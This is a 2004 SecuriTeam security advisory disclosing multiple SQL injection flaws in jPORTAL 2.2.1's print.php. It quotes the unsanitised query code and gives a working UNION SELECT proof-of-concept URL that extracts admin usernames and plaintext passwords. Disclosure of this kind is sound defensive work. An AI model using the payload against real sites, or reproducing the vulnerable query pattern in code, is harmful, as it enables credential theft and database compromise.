Date: 2 Jun 2004 10:50:27 +0200
From: SecuriTeam <[email protected]>
To: [email protected]Subject: [UNIX] Multiple SQL Injections in JPortal (print.php)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Multiple SQL Injections in JPortal (print.php)
------------------------------------------------------------------------
SUMMARY
" <http://www.jportal2.com/> jPORTAL - Polish Web Portal System". By
injecting malicious SQL code, an attacker can execute arbitrary commands
on the server's database.
DETAILS
Vulnerable Systems:
* jPORTAL 2.2.1
The jPORTAL system contains multiple SQL injection vulnerabilities. The
use in clear text password is discouraged (passwords should be hashed).
Vulnerable Code:
In module/print.inc.php:
function art_print() {
...
$query = "SELECT * FROM $art_tbl WHERE id=$id";
..
}
The $id variable is read from the user without proper input sanitation
Proof of Concept:
http://xxxxx/print.php?what=article&id=X AND 1=0 UNION SELECT
id,id,nick,pass,id,id,id,id,id from admins LIMIT 1
Running this request will return the admin password in clear text.
ADDITIONAL INFORMATION
The information has been provided by <mailto:[email protected]> Maciek
Wierciski.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.